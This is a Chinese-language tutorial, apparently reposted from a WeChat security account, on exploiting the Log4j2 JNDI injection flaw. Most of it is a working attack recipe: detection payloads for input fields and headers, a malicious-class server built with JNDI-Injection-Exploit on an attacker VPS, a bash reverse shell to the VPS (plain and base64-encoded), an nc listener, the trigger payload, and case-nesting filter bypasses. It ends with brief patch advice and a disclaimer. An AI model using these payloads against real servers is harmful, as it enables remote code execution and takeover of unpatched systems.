目录
漏洞简介
漏洞发现与利用
1、漏洞发现
常用poc:
${JNDI:LDAP://xxxx.dnslog.cn/test}
${jndi:rmi://xxxx.dnslog.cn/test}
可在任意输入框、请求头字段如xff、ua中插入poc,观察dnslog网站是否有记录。
推荐BurpSuite插件:log4j2burpscanner
2、漏洞利用
1)首先需要拥有一个VPS,在VPS上构造恶意的.class对象
使用工具:JNDI-Injection-Exploit
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C [command] -A [address]
-C:指定需要执行的命令
-A:指定恶意.class对象所在服务器的ip,这里就是VPS的ip地址
2)这里需要执行的命令为利用bash反弹shell
bash -i >& /dev/tcp/vps_ip/port 0>&1
由于使用工具JNDI-Injection-Exploit的-C指定命令时,特殊字符会有影响,因此对命令进行base64编码,可在如下网站快速得到编码后的语句:
https://ares-x.com/tools/runtime-exec/
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3Rjcxxxxxxxxxx=}|{base64,-d}|{bash,-i}
3)使用工具JNDI-Injection-Exploit构造恶意.class类,并开启端口,等待存在漏洞的服务器请求
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3Rjcxxxxxxxxxx=}|{base64,-d}|{bash,-i}" -A "vps_ip"
4)在vps上开启nc监听
nc -lvp 2333
5)访问存在漏洞的网站,利用payload进行利用,比如说这里使用:
${jndi:rmi://xxx.xxx.xxx.240:1099/lv0edx}
将这个payload放在存在漏洞的位置,即可反弹shell
这里的payload在url中,进行了url编码
6)成功获得shell
绕过方法
1、多${}绕过
2、使用lower和upper绕过
${${lower:J}ndi:ldap://xxxxx/xxx}
3、绕过trustcodebase
修复建议
1、将Log4j升级到安全版本
2、限制不必要的LDAP和RMI请求
3、修改配置,从类路径中移除JndiLookup类
原文始发于微信公众号(simple学安全):log4j2漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论